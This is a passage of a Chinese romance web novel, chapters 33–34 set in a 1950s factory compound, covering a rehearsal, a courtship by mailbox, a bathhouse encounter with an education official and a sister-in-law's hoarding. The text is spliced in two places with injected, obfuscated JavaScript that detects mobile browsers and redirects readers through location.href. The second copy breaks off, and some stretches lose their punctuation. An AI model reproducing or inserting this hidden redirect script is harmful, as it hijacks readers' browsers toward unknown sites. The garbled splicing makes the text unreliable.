吴峥嵘瞟了神情坦荡的姑娘一眼,伸手与李会长握了握。 自报家门的话也被堵在了嘴边。 叶满枝促狭地冲他眨眨眼睛,笑着 问:“会长,这个哥哥比我五哥还精神吗? “嗯,精神!看着像文化人,李会长说着最令人信服的客套话,“你俩一看就是一家的! “哈哈,会长,我先去准备了。 叶满枝不再为难面前二人,带着吴峥嵘前往音乐厅的后台。 然而,两人刚隐入幕布后面,她便被吴峥嵘钳住了手腕,仰头问:“怎么啦? 吴峥嵘贴近她,用只有彼此能听到的音量问:“叶来芽,我算是你哪门子的哥哥? 作者有话要说 [1]苏联歌曲《玛丽诺之歌》。 一百个红包,明天见~ 感谢在2024-07-2612:01:10~2024-07-2711:59:17期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:694600741个; 感谢投出地雷的小天使:370878802个;逐梦的游鱼、蘑菇莉、694600741个; 感谢灌溉营养液的小天使:45923651、xiayerufeng、帆哥最好40瓶;小情绪30瓶;cyuuya冲鸭29瓶;孙孙22瓶;永遇乐、等鹿子草更文、黑桃奶、iris、啦啦秃尾巴兔叽、芸曦20瓶;H、阳阳in春天15瓶;明日复明日11瓶;微积分不挂科、^O^??、今天也是不加班、我宝猕猴桃、72724916、小说一下、疯华绝代、海绵星星和派大宝、闷闷、凉凉社会主义核心价值、鹿泡泡、Phoebe2026、小白兔的棉拖鞋、桃桃的懒妈、不要受委屈!、colin简、顾沉、螃蟹10瓶;作者沉坞断更卡V还疯、又见春8瓶;是HyunA7瓶;今朝欢乐便无愁、牛牛、绿色小精灵6瓶;唯心而语、辰时、橘子猫、退休预备员、啦啦、憨憨、anna、ltjenny、唯、举个栗子、小小的脚丫的爱、60006450、47473392、Carol、安之一5瓶;哦?哦!、JIAO4瓶;嗷呜嗷呜小奶龙、花间一壶梨花酒、370878803瓶;69208282、一誓已世、从前、竹秋、wawa2瓶;柠檬的柠的檬、69295327、cat?le、钰叔、不居小婕、kk、花璨、茳芏、晏、晨熙麻麻、丰丰山心、追的文都不断更、哇汪汪、hoshi、梦、鸽鸽在线头秃、tingt、48050840、咿呀咿呀哟、落叶缤纷、快乐的豆豆丫、57089820、‘早起的虫儿、被鸟吃、明孞、……、一条鱼、墨陌、妮妮、阳光、呼呼噜噜啦、一块大腹肌、Renhy、xiaoxiao、明明、桂花糖芋苗、49215995、李家小聪明、73048940、%%、零度以寻、板栗包、你吃草莓吗、滴滴答答滴、欧贝斯、春天花花、54、木清风-_- 、快睡觉?、涵涵妈、parallel、两一一柯、胖蟹、酸菜鱼、步步人、等啊等、七七四十九、叶子猫、查查、stella、mints、xuanxuan127、°黎茜、啦啦啦、27309228、27589763、47504857、北桥楠木、。。、最丫丫丫的兔、两颗糖z、tinge、Jennifer6211、霅莎、东篱雪、helloza、不出1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 33 章 科长,要帮忙搓澡... 幕布后光线昏暗,叶满枝看不清对方的表情,但他那句问话,却随着高胡高亢的琴音,一起钻进了耳朵里。 “我三个哥哥经常陪我来排练,说你是我哥哥最方便。”黑暗帮叶满枝壮了胆,她仰头望向面前的高大身影,故作疑惑地问,“不想当我哥哥,难不成还想当叔叔?” 想起那句让他心塞的“吴叔叔”,吴峥嵘语气里带出几分无奈,“我就那么见不得人?” 叶满枝小声说:“拜托!麻烦你先认清自己好吧!这里有咱们厂的职工,你在厂里大名鼎鼎,我要是报了你的名字,大家肯定都要围观你!到时候怎么解释你出现在这里的原因啊?” 吴峥嵘神情坦荡:“你可以大方地告诉所有人,我正在追求你。” “那多难为情啊,要说你去说,我才不说呢。”仗着黑暗掩护,叶满枝胆儿肥地推他,“别生气了,你是峥嵘哥哥,跟其他哥哥还是不一样的。” 话音落下,两人几乎同时安静下来。 过近的距离,让叶满枝下意识屏息,憋得满脸通红。 “叶满枝。” “嗯。” “我今天是穿军装来的……” 叶满枝还没弄清他话里的意思,便感觉上方的人影突然压了下来。 她心头激跳,以为对方想在这里吻她,帘外的人声和琴声,让她羞耻地偏头躲闪。 而吴峥嵘却只是身体前倾,接过了她手上的琴盒。 她预判错误,偏头躲避的嘴唇,正好擦着对方的脸颊划了过去。 “::::::” 幕布外的调试还在继续,扬琴叮叮咚咚的声音如清泉落石般激越清灵。 心跳随着琴声骤然加快,叶满枝窘迫道歉:“我不是故意的……” 吴峥嵘无声地站直身体,停顿数秒后,又说了句:“今天穿了军装,下次吧。” 叶满枝这回听清了,红晕瞬间从脸颊蔓延到脖子。 幕布外的脚步声渐行渐近,又有人过来了。 她没去看对方的表情,小声说:“你去观众席等我吧。” 不等对方给出回应,提着琴盒就跑向了后台。 吴峥嵘刚刚那句话,完整的意思多半是,“我今天穿了军装,下次再吻你吧。” 她抚着额头回忆起来。 吴峥嵘今天是从厂里赶来的,没穿上装,但穿了军裤。 他穿军装的时候,似乎一直很严肃克制。 彼此关系略有进展的几次,吴峥嵘穿的好像都是便装。 一套军装能将他所有出格的、不合时宜的想法和举动,统统封印起来。 她循着种种蛛丝马迹小心推测着,不知过了多久,林青梅进来招呼大家去舞台集合。 见她这副魂不守舍的样子,林青梅小声问:“你怎么回事?把人晾在外面,自己在这瞎捉摸什么呢?” 叶满枝早就跟青梅坦白了与吴峥嵘的关系进展,但有些话,即使是面对青梅,她也是说不出口的。 “没什么,我好久没来了,调整一下状态。” 人员已经到齐了,叶满枝不能再拖沓。 抱着琵琶走上舞台,找到了自己的座位。 她抬眸往台下扫了一眼。 空旷的观众席上,零散地坐着几个民乐爱好者。 吴峥嵘独自坐在第一排,很轻易就被她找到了。 舞台距离观众席很近,叶满枝刻意忽视了胶着在自己身上的视线,尽量将心思放在会长对排练的要求上。 她缺席了几次排练,会长让她先配合箫和古筝演奏一曲《春江花月夜》。 叶满枝点点头,左手摁上琴弦,玉盘走珠似的弦声从指尖流泻而出。 观众席上的吴峥嵘始终保持着一个坐姿,专注地望着舞台。 他其实不懂什么民乐,除了少时陪祖母去戏园子听戏时见过,此后再没机会与这些乐器产生交集。 舞台上的人,垂首拨弄着琴弦,幽幽的琴声缠绵啼啭,除了美和雅,他给不出更高级的赞赏。 好在少时的积累还能令他想起“转轴拨弦三两声,未成曲调先有情”,这让他不至于像个俗不可耐的文盲。 沉静地欣赏了三支曲子,时针指向两点时,吴峥嵘不得不示意她走下台来。 “你现在就要离开吗?”叶满枝问。 “嗯。” 吴峥嵘从上衣口袋里拿出一把钥匙,放进她掌心里。 “这个月厂里事情比较多,一忙起来可能就顾不到你这边了。这是家属院甲字16号信箱 的钥匙,你要是不想给我打电话,可以往信箱里留言。” 叶满枝握着钥匙问:“会不会牵扯到保密信息啊?” 毕竟他身份还是比较特殊的。 “不会,正式信件都是寄到军代室的。这个信箱是厂后勤在家属院给我安排的备用信箱,我还没用过。”吴峥嵘顿了顿说,“以后每天一早一晚,我会去开一次信箱。” 他可以让小秦帮着送东西送信,但小秦毕竟是个年轻光棍,总去找她容易被人误会。 吴峥嵘又往她手里塞了张字条,而后看了眼手表说:“我得走了,你有事就给我打电话,或者写信留言……” 见她握着钥匙点头,这才转身快步离开了音乐厅。 叶满枝以为字条上的内容会是介绍信箱的具体方位。 然而,她将钥匙小心收好,再去展开字条时,却看到了一行笔走龙蛇的行楷。 “天上弦月,水中倒影,近在眼前,却无可触碰。” 叶满枝盯着那行字看了半晌,刚开始还蒙头蒙脑的,不懂他留这句话有什么用意,只觉得与音乐会现场营造出来的氛围还挺搭的。 可是,盯得久了,她突然就脸热了起来,心里既好气又好笑。 文化人真是不要脸,居然能把“没亲到”写得这么文绉绉! 叶满枝红着脸犹豫了一阵,还是把字条折好,夹进了乐谱里。 她心里对那个私人信箱有些好奇,音乐会的排练结束后,便直接回了军工大院。 信箱通常被安置在大院入口或楼道口,吴峥嵘住在大院东门附近,信箱很可能被安排在东门入口。 不过,东门入口的信箱太密了,一个挨着一个,她第一遍找过去时并没发现目标。 等她沉下心来,按照信箱上印着的编号依次数过去时,终于在第二行中间的位置找到了甲字16号。 信箱有投递口,如果只想让她写信留言,吴峥嵘没必要给她留下一把钥匙。 所以,她手里握着钥匙,作贼心虚地往周围观察了一阵,确定没人会注意这边后,快速将钥匙插进锁眼,打开了信箱。 信箱很干净,并没有因为长久弃用而沉积灰尘。 箱底平摊着一张纸条,纸条上又压着一支银色钢笔。 她先把纸条拿出来,上面是她熟悉的字迹,有着吴峥嵘一贯的简洁,“好好练字,给我写信。” 她这才把钢笔取出来打量。 金色的笔夹上,刻着一列很小的字母“PARKER”。 叶满枝不认识英文,但认识这个牌子。 张勤简就有一支黑色的派克钢笔,平时都插在他干部服胸前的口袋里,遇到懂行的,总要跟人家探讨一下派克笔怎样怎样,反正宝贝得很。 她对着钢笔研究了一阵,觉得银色比黑色的好看,适合女同志。 但这字条上的内容是什么意思? 吴峥嵘是不是发现她不写回信的原因了? 啊啊啊啊,叶满枝在心里羞耻地尖叫了一阵。 然后将信箱重新锁好,揣着他送的新钢笔,回家怒写了五张字帖。 她一定要好好练字,让某些人对她刮目相看! * 当然,练字不是一蹴而就的。 叶满枝虽然心里着急,但也没揠苗助长。 临近国庆节,不但吴峥嵘忙碌了起来,连老叶和三哥也都搬去了车间。 一副与工友们同吃同睡,大搞生产的架势。 老叶家只剩下四哥和麦多两个男同志在家。 不过,最近扫盲班正式开课了,四哥被老叶和叶满枝逼着,给扫盲班的学员上课,每天备课讲课苦不堪言。 这天,叶满枝陪同穆主任,来扫盲班的课堂上查看情况。 四哥想跟领导提一提换老师的事,但叶满枝根本不给他这个机会,在他班上随意看了一眼,就把穆主任请去了隔壁的两个班。 “这两个班的情况比较特殊,”叶满枝介绍道,“656厂军代室出资支持了军属烈属的扫盲工作,所以我给他们单独编了一个军属班,会有专人在课前读报,让大家了解一些时事要闻。学员们的测验成绩,也会及时反馈给军代室。” “嗯,这样很好,既然军代室拨款了,那就应该让人家看到学习成果,”穆主任提议,“军属们识字以后要学以致用,像购粮证、购油本、居民证什么的,可以让他们自己试着填写。以后每次写给军代室的报告,也让他们尝试着自己完成。” 叶满枝答应着,将领导的指示记到笔记本上,然后又带她去了 最后一个班级。 “这个班里全是学龄儿童最大的11岁最小的也有7岁了。成年人的扫盲班只要求识字但孩子都是白纸基础打不牢的话不利于长远发展。所以我把他们单独放到一个班里请了一名小学退休教师暂时帮忙管一管这个班。不过这也不是长久之计主任咱能不能把这些孩子送到正规学校去?” 穆兰皱着眉在教室外站了十几分钟仔细观察了小学生们的课堂情况。 隔了许久她才叹气说:“咱们街道唯一的小学就是656厂子弟校你上次跟我提过入学的问题以后我去找郭校长谈过一次。他们那边师资力量有限今年已经扩招了一百人再扩招的话教师忙不过来会严重影响教学质量。” 叶满枝问:“主任咱们街道能不能再办一间小学啊?656厂的子弟小学只让本厂子弟入学咱街上的其他孩子只能去其他街区的学校读书。除了扫盲班这些孩子我听说今年还有不少孩子没能入学呢。” “这是历史问题了”穆兰细细地给她分析“学校只能由教育局拨款开办咱们街道是不能主动办学的。一是没有办学经费二是没有办学资格。若想在咱们光明街再开一间学校只有两个办法!” 叶满枝忙问:“什么办法?” “第一游说656厂扩建或新建一所小学他们自己出钱办子弟校教育局通常都会批准。第二去教育局申请办学指标由市里拨款在光明街上开办一所公立小学吸纳附近的学龄儿童入学。” 叶满枝为难地挠挠头这两个都不好办啊。 厂里把主要精力和资金都放到了生产研发上子弟校要是能扩建郭校长也不至于头秃了。 至于教育局的指标那就更不用提了。 张勤简分管教育工作好几年也没能弄来一个新建小学的指标。 穆兰背着手在教室外的走廊上来回踱步低声说:“目前扫盲班只能借用子弟校的教室上课但咱们每晚都要用水用电冬天可能还要用煤人家学校肯定不愿意。我原本打算筹款盖一所扫盲学校 “不过”穆兰想了想说“扫盲学校的事其实可以与公办小学联系到一起让教育 局或656厂拨款建学校,咱们街道出一部分资金,到时候白天由小学生使用,晚上用于成人扫盲,一个学校挂两块牌子,应该能节省不少资金。” 扫盲毕竟是阶段性工作,专门修建学校还是太大动干戈了。 叶满枝站在旁边,眼睁睁地看着领导在自己面前不断转圈圈。 她心想,当领导可真是不容易,街道虽然规模小,但穆主任这心操的,真不比区长少。 穆兰突然停下脚步说:“我看办小学的事不能拖了,今年至少有五十名学龄儿童不能入学,拖到明年的话,数字还要翻番。孩子不能上学,搞不好是要闹出大乱子的。” 叶满枝连忙点头说:“主任,您说怎么办,我都听您的!” “扫盲班分班分得挺好,先让这些孩子暂时在扫盲班学着吧,”穆兰觉得656厂办学的可能性更大,索性道,“我先去656厂那边游说一下,他们要是能建校,那就再好不过了。” 叶满枝问:“那我呢?要不我也去教育局问问吧,咱们分头行动!” 区教育局是出了名的铁公鸡,穆兰觉得拿到指标的可能性不大,但年轻人有工作热情,她是不会泼冷水的。 “那行,你往区教育局跑一跑,不要自己去,从刘金宝和赵二贺中间挑一个,让男同志随行。” 穆兰操心得比较多,小叶太年轻了,年轻女同志在外面跑关系,还是要多加注意安全的。 她想建议刘金宝跟着一起去,那小伙子脑筋活,会说话,适合出去跑业务。 不过,叶满枝舍弃了金宝儿,出门前把赵二贺招呼上了。 赵二贺人高马大,还能跑腿,虽然脑袋瓜子好像不太好使,但出门在外,比刘金宝管用。 叶满枝说他脑袋瓜不好使,真不是讽刺赵二贺。 他这人工作热情是有的,可惜总用不到正地方,人家新婚小两口来街道办登记结婚。 临走的时候,赵二贺自以为礼貌地说了一句“欢迎再来”。 好家伙,被那陪着领证的丈母娘骂了一刻钟都不止。 刘金宝背地里给他起了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038372|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “赵二货”的外号。 * 叶满枝虽然也是新人,但她提前在街道办干了两个月,在赵二贺面前也算是老资格了。 所以当她提出带着赵二贺去区里办事的时候从没去过区教育局的二贺同志立即就点头同意了。 负责办学审批工作的是文教科。 两人赶到教育局的时候文教科的门口已经排了十来个人。 叶满枝在里面见到一个半生不熟的面孔主动过去打招呼“刘姐你们乡里也要建学校啊?” 刘桂荣是工农乡的六五六厂扩建占用的那片坟场有一半属于工农乡。 叶满枝处理群众斗殴工作的时候在工农乡见过她。 刘桂荣显然已经不记得她了但是做基层工作的人大多自来熟刚才不认识现在不就认识了嘛。 “哎 叶满枝点点头问:“刘姐你来多长时间了?领导啥意思啊?” “我已经来四天了现在还没能见到吕科长的面呢!” “……”叶满枝惊讶地问“文教科的门这么难进啊?” 刘姐往左右示意了一下“你看看在这里排队的人都是申请办学指标的科长能见得过来吗?” 在场的这些办事员其实心里都知道事情办不成。 可是办不成也得来呀谁让这是领导交办的工作呢。 虽然没结果但他们没黑没白地往教育局跑至少说明他们努力争取过。 没有功劳也有苦劳! 叶满枝心想光明街的情况与其他单位可不一样。 其他人是手心向上要钱的。 而他们光明街手里已经有一部分建设资金了尽管不知穆主任要如何筹措资金但领导说有那就是有呗。 所以叶满枝觉得光明街还是有一定希望拿下这个办学指标的。 “二贺你个子高先去外面看看哪个是文教科长。” 文教科的办公室在一楼让赵二贺从办公楼外面的窗户往里张望一下兴许能看到那个文教科长。 赵二贺挠头为难道:“我又没见过文教科长咋知道哪个是他们科长啊?” “咱们穆主任和张副主任的座位在哪里科长和副科长的座位就在哪里。”叶满枝根据自己的观察指点道“领导是不 可能坐在门边的,把门的都是咱们这样的小喽啰,你往窗户里看,距离门边最远的,视野最好的位置,八成就是科长的位置。 赵二贺记了下来,颠颠儿地出去了。 叶满枝背着手在走廊里来回溜达。 光明街的情况与其他单位不一样,跟着这帮人排队是没前途的。 科长不但不会见他们,还得躲着他们。 要想拿到办学指标,第一步是跟领导搭上话! 否则即使在这里守上一年半载也是没用的。 她在心里想得挺好,另一边的赵二贺却垂头丧气地回来了。 “小叶,文教科的窗帘被拉上了,我看不清里面的情况。 叶满枝:“…… 大白天拉什么窗帘啊! 看来以前有人跟她想过一样的办法,想在教育局外面跟科长套近乎。 一时揭不开文教科长的神秘面纱,他们只好跟其他人一样排队干等。 他俩一连来了三天,跟工农乡的刘姐一样,始终没能见到科长。 文教科接待访客的大门外,每天被一个办事员守着。 叶满枝在外面待了三天,愣是没见到有人从这个门进出。 隔壁的三间办公室似乎是连通的,几十个人从走廊另一头的办公室进进出出,根本分不清谁是谁。 他俩第一天来的时候是空手上门的。 第二天自备了水和干粮。 第三天叶满枝又带了一个厚坐垫,那门口的凳子有点硬,硌得她屁股疼。 赵二贺蹲在地上嘟哝:“这文教科的领导是不是打游击战出身啊?咋就愣是见不到人影呢? “我已经问过了,科长是个老头,副科长是个女同志,按年龄算的话,应该跟穆主任差不多了。叶满枝拍拍他的肩膀说,“二贺,你再加把劲,去窗户外面守半天,万一能见到领导的庐山真面目呢? 赵二贺把馒头塞进嘴里,灌了一口凉水说:“行,今天风大,我看看能不能把窗帘吹起来。 他出去守着了,临近下班的时候,突然跑进来跟叶满枝通报:“我看清了,有个女同志坐在办公室后面,穿了一件绿色衬衫,留着短发。 他尽量详细地跟叶满枝形容着,无意间偏头的时 候正好看到有个女同志从走廊尽头的办公室里走出来。 “哎哎就是那个!短头发戴眼镜的那个!” 叶满枝赶紧拉着他跟上。 那女同志身边还有两个男同志三人边走边聊天。 贸然冲上去谈工作似乎不太好叶满枝就在三人身后远远坠着想等对方落单时再上去攀谈。 结果这三人谈着谈着就走到了澡堂子门口。 两个男的向左侧男宾浴池转弯女同志拐进了右边的女宾部。 叶满枝和赵二贺同时傻眼。 赵二贺喃喃:“这咋刚下班就来洗澡呢?” “估计这是他们机关的澡堂子跟656厂的浴池差不多工人下了班就去澡堂子洗澡省得再跑一趟了。” “那咱俩咋办啊?还等吗?” 叶满枝瞅一眼售票窗口交代道:“你要是不想洗澡就在外面等着我进去会会那位副科长。” 她去售票处交钱买票顺便买了条毛巾堂而皇之地进了澡堂子。 浴池里的淋浴喷头少好多人都在排队等候叶满枝干脆地脱了衣裳提着她新买的毛巾顺着淋浴喷头挨个搜寻过去。 走到最后一排时果然看到文教科的副科长在最里面的蓬头下洗头。 她若无其事地走过去排在了第一个心里琢磨着一会儿要如何打招呼。 毕竟在澡堂里谈事情她也是第一次。 等那副科长洗完头发抬头看过来时她攥了下手心给自己打气 作者有话要说 一百个红包明天见~ 感谢在2024-07-2711:59:17~2024-07-2812:01:16期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:薛漂亮、熙、ggnzc、Jelly、逐梦的游鱼、是HyunA、晃晃1个; 感谢灌溉营养液的小天使:芑叶142瓶;奇拉90瓶;sisy50瓶;自由过火49瓶;廿九、前渝、qwert30瓶;441982、玉落成尘、梅花鹿、暖白芷、墨璃、废土白荒20瓶;Evy17瓶;墨染槿涩、蕴曦吖15瓶; 第 34 章 与军代表同志拉拉... 作为教育局文教科的副科长,唐凝对科室门口的情况了如指掌。 叶满枝甫一开口,就被她认出来了。 这也是在门口排队的办事员之一。 小姑娘年轻,人也好看,大家从走廊穿过时,总会不自觉往她那边多看两眼。 可是,你就算是个天仙,也不能追到澡堂来吧? 还有没有规矩了! 唐凝心里不太高兴,皱眉说:“我不用搓澡,你这同志怎么回事?哪有来澡堂子里堵人的!” 没想到自己这么快就暴露了,叶满枝在心里哀叹一声,学着郑东妹的样子,直愣愣地问:“为什么不能来澡堂说话呀?我们主任说了,干革命工作要像修筑川藏线的解放军一样,一不怕苦,二不怕死。我们基层干部一定要想尽一切办法、挖空心思,全心全意为人民服务!” 唐凝:“……” 这孩子怎么傻不愣登的?她这是鸡同鸭讲呢? “你哪个单位的?参加工作多久了?” “我这个月刚上班,”叶满枝瞪大眼睛,紧张兮兮地看向她,“大姨,您不会想跟我们主任告状吧?我,我其实没干什么吧?我跟您说会儿话,又不耽误您洗澡。” 唐凝暗道难怪,刚上班的小年轻最有工作热情。 还总能干出一些让人啼笑皆非的事情。 她把头上的肥皂沫冲洗干净,眯着眼睛问:“你跑来找我什么事?” 叶满枝赶忙抓住机会说:“今年学龄儿童的失学情况特别严重,我们街道想跟教育局申请一个新建小学的指标,而且跟其他单位不一样,我们可以自行筹措一部分资金。” “这个事情教育局已经说过很多次了,教育拨款要暂时倾向中学教育,今年没有新建小学的指标。” 文教科是负责批文的,早就跟各单位解释过很多次了。 但有些人就是心存侥幸,非得在文教科门口堵着。 叶满枝惊讶地问:“原来教育局早就说过啦?既然没有指标,我们主任怎么还让我来教育局要指标呢?” “嗯,说过了,回去跟你领导说,咱们区里没有指标,谁来都一样。” “原来我们领导早就知道情况呀,那我就能回去交差了。”叶满枝腼腆道,“我第一次参加工作 ,就怕做不好让领导失望。之前有唐突的地方,您别见怪啊! 见她并不继续纠缠,唐凝心里稍稍满意了些。 小年轻刚上班,不懂规矩就容易闹笑话。 “没什么事你就回去吧,以后可不能这样做工作了。 “那我洗了澡再回去,反正已经买票了,叶满枝笑道,“我家住楼房,洗澡不方便,每天晚上整层楼的女同志一起聚到水房,把门一关,用水盆冲澡,虽然能每天冲凉,但没有热水澡舒服。 唐凝颔首说:“你们这个办法不错,把水房利用起来,省了天天跑澡堂子的时间。 “哈哈,在水房洗澡得挂窗帘,还要找俩人在门口守着。刚开始大家没经验,差点被对面楼的居民看见…… 叶满枝与她聊了一会儿水房和澡堂子,感觉对方态度缓和了些,便将话题重新转到了小学指标上。 “大姨,国家为什么不多建一些小学呀?我们街上有好多学龄儿童,咱多办点小学校,让孩子都能上学,那多好啊! “因为要集中力量办大事。 唐凝也是乐于欣赏美人的,这姑娘往那一站,腰是腰臀是臀,用毛巾捂着胸口,翘着小屁股,还挺赏心悦目的。 她神色舒缓了,自然可以多说几句。 “国家要完成第一个五年计划,各项事业都在大力发展。我问你,发展这些事业需要什么? 叶满枝答:“钱和人。 “对,搞建设需要大量人才,而培养人才最快捷的办法就是扩招中学生。但国家财力有限,主要精力放在了发展工业上。对教育的拨款就那么多,把资金优先倾斜给了中学教育,那小学就要吃亏一些。 叶满枝还是第一次听到这种论调,心里突然有了抽丝剥茧般的明悟。 她就说嘛,小学是基础教育,教育局的领导怎么能放任不管小学生的失学问题呢! 不过,理解归理解,该争取还是要争取的。 “大姨,我们可以自行筹措一部分资金,减轻国家的财政压力,她一咬牙又补充说,“实在不行,可以由我们全部出资,这样也不能给办学指标吗? 这间澡堂子是个大开间,蓬头之间没有任何隔断,所以,两人交谈的内容,很轻易就能透过哗 哗的水声落进旁人耳里。 隔壁蓬头下的女干部插话说:“民间出资的学校属于民办学校,刚解放那阵子还挺多的,但民办学校的乱象不少,早就被市局整编了,现在都是公办的。小同志,区里也是听市里指挥的,你追到澡堂子来解决不了问题。 “…… 唐凝关了水阀,边擦头发边说:“小学生失学只是暂时的,局里有了资金以后肯定还要加大小学教育的投入,你们不要着急,再等一等。 叶满枝腹诽,我们能等,但小学生等不了啊。 扫盲班最大的孩子都11岁了,再拖一两年,就能上中学了。 * 叶满枝终究没能申请到办学指标。 但她追人追到澡堂子的事,被赵二贺宣传了出去。 他俩在教育局干耗了四天,总不能白白浪费时间。 所以,回到街道办以后,他就把两人的经历跟两位领导汇报了,叶满枝进了女澡堂,而他在外面看守。 反正两人没有功劳,都有苦劳。 然而,张勤简却拉下脸说:“你们这不是胡闹么?做工作要走正规程序,哪有你们这样走歪门邪道的?下班时间堵领导,还堵到澡堂子里去了!被人知道以后,要怎么看咱们光明街的干部?到底还有没有规矩了? 叶满枝之前不跟他顶嘴,是因为编制还握在人家手里,这跟被人握住七寸没啥区别。 但她已经正式入职了,工作证上的职别是“干部。 只要她不犯原则性的错误,张勤简就不能把她辞了。 所以,再次面对张勤简的挑剔时,叶满枝选择有什么说什么。 “人家连我叫什么都不知道,更不知道我是哪个单位的。您就放心吧,不会给咱光明街丢脸的。再说,唐副科长没生气呀,洗完澡我还请她喝了瓶冰镇汽水呢! 张勤简:“…… 穆兰笑道:“行了,人家连你是哪个单位的都不知道,算什么交际应酬,汽水钱不能报销!不过,小叶和小赵这种工作热情还是值得肯定的。现在咱们单位的年轻人多了,每天都朝气蓬勃的,我看挺好! 没能拿到指标,但叶 满枝也没气馁。 反正这事连张勤简都办不成她一个新人拿不下指标是正常的。 她把精力放到了其他工作上同时还在心里合计着去一趟百货商店。 二姐马上就要生了她想给二姐买点东西。 “去市场买点肉蛋菜送去就行了”常月娥阻止道“去百货商店能买什么啊?生娃坐月子送吃的最实惠。” “我想顺便去百货商店扯点布再看看最近的成衣有什么新样式!” “你的布票不是用完了吗?又扯什么布?”常月娥狐疑地打量闺女“你还有布票?” 她总觉得这丫头这阵子不对劲。 叶满枝背过身去假装忙碌地说:“有啊。” 昨天她去开甲字16号信箱的时候发现吴峥嵘给她留了一张五尺的布票。 据说他这周末要在厂里加班所以送她一张布票让她自个儿去商店里逛逛做身新衣裳穿。 这张布票算是送到了叶满枝的心坎儿里可比那督促她每天练字的钢笔称心多了! 尽管对方还提出了做旗袍的无礼要求 常月娥对自家票证的存量一清二楚戳穿道:“那些布票早就被你祸祸了你哪来的布票?” “哎呀别人送的。” “男的女的?” “男的。” “……” “你看我说了实话你又是这副晴天霹雳的表情!你要是这样我以后就不跟你好了!” 常月娥回过神来问:“哪个男的?是咱们厂的还是外面的?” “是在厂里上班的搞技术的大学生其他的以后再说。” 听说是厂里的常月娥的心一下就放到了肚子里。 厂里的好啊知根知底。 国营军工厂职工还是大学生小伙子肯定有前途。 要是俩孩子真能有个结果以后闺女的婆家娘家就都在一个大院儿里了! 万一被欺负了老叶和她三个哥哥抬脚就能去找亲家算账。 她在心里盘算着想让老叶暗地里打听打听没成家的大学生面上却不再追问闺女了。 “行既然你有布票 那就先去百货商店吧。你二姐还没生,也不知道奶咋样,我去商店给她买两包奶粉备着。她那个婆婆看着就不靠谱,还是别指望她婆婆了。” 叶满枝赶紧竖起一个大拇指说:“妈,你怎么这么好啊?全大院也没有你这样当后妈的!要是被我大姐知道了,肯定又要嫉妒死啦,哈哈!” “你少给我灌迷魂汤!” 母女俩手拉手去了市中心的第一百货商店。 叶满枝决定扯五尺的棉布,做橱窗里那种新款布拉吉。 剩下的边角料还能给二姐家的小毛毛做一件小褂子。 至于对付吴峥嵘的说辞,她已经想好了。 五尺布不够做旗袍的,想看她穿旗袍,得再加五尺。 嘿嘿…… 有妈妈帮着参谋,叶满枝很快就选好了布料,两人去三楼买奶粉的时候,在楼梯上碰到了正在下楼的黄黎。 “嫂子,你咋一个人来市里了?早知道你也想买东西,咱们就一块儿走了!” “我也是临时起意的。”黄黎笑了笑说,“二姐不是要生了嘛,我给她买点奶粉和麦乳精。” 二姐跟叶满堂是亲姐弟,对方生孩子她肯定要尽心表示表示的。 叶满枝连忙问:“嫂子,你买了多少奶粉啊?你确定要送的话,我就不买奶粉了,送多了未必能进二姐肚子里。” “买了两包奶粉,两包麦乳精。” 黄黎提着网兜,里面装着什么一目了然。 除了奶粉和麦乳精,底下还有十来个铁皮罐头。 叶满枝随意扫了一眼,默默在心里啧啧两声,红烧肉、午餐肉、沙丁鱼罐头全都凑齐了。 一盒肉罐头比一斤猪肉还贵。 三嫂可真舍得花钱啊! 不过,她觉得这些肉罐头,可能会让常月娥炸毛。 常月娥不喜欢三嫂,买一大堆罐头的举动,很可能会被她解读为,三嫂不喜欢吃她做的饭。 叶满枝用余光观察身侧的反应,果然发现她表情不太好看。 “嫂子,买罐头要不要副食票啊?” “不用票。” “哦哦,那我一会儿也买两罐给咱爸吃。你这主意好,买罐头不要票,比买猪肉方便。咱爸和三哥这段时间在车间加班,给 他们吃点好的补补。 黄黎觉得小姑子去街道上班以后,懂事顺眼了不少。 她把精力都消耗在外面,真的能给家里省下很多麻烦。 她顺着叶满枝的话说:“他们在厂里加班,营养可能跟不上,我买点罐头当加餐。 事实上,罐头不是给叶满堂吃的。 656厂食堂的伙食还不错,在营养方面不用她操心。 这些罐头是给非常时期准备的。 她在现代过的不是大富大贵的日子,但也从没在吃喝上亏过嘴。 未知的前路让她心里一直没着没落,不多囤些吃的,她找不到安全感。 罐头虽然贵,但保质期长,易储存,不像粮食粉条那样招耗子。 趁着不要票,手头还有余钱,她想多买点。 【再过两年,也许有钱也买不到这些东西了。书里说,58年就有了物资紧缺的苗头。】 【……】 【……】 【现在多囤一些粮食、罐头和维生素片,万一有临期的,就买新的替换掉,虽然麻烦了点,但总好过到时候忍饥挨饿。】 叶满枝已经有阵子没特意关注三嫂了,冷不丁看到凭空出现的金色字迹,她还愣了一下。 三嫂这话是啥意思? 他们家有工人有干部,她自己的工资也不算少了,怎么可能让她忍饥挨饿? 她回身向二楼的柜台间望去,那里的商品琳琅满目,应有尽有,怎么会物资紧缺呢? 叶满枝心中存着疑问,三嫂提着东西离开时,她也没来得及给出反应。 常月娥在她手上拍了一下说:“就你好心!还给人家找借口!我看她那些罐头,就是买给自己吃的!这老三媳妇也不知道是什么毛病,每次买东西都买一大堆,那些被耗子嗑过的粉条还没吃完呢,又买了一堆罐头,哪有她这样过日子的! “那罐头一看就好吃啊!我还没吃过红烧肉罐头呢,叶满枝挎上她的手臂说,“走,咱也去买几个罐头尝尝! 那天之后,叶满枝刻意留意了菜市场和供销社的商品供应情况。 也跟五哥打听了周边农业合作社 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 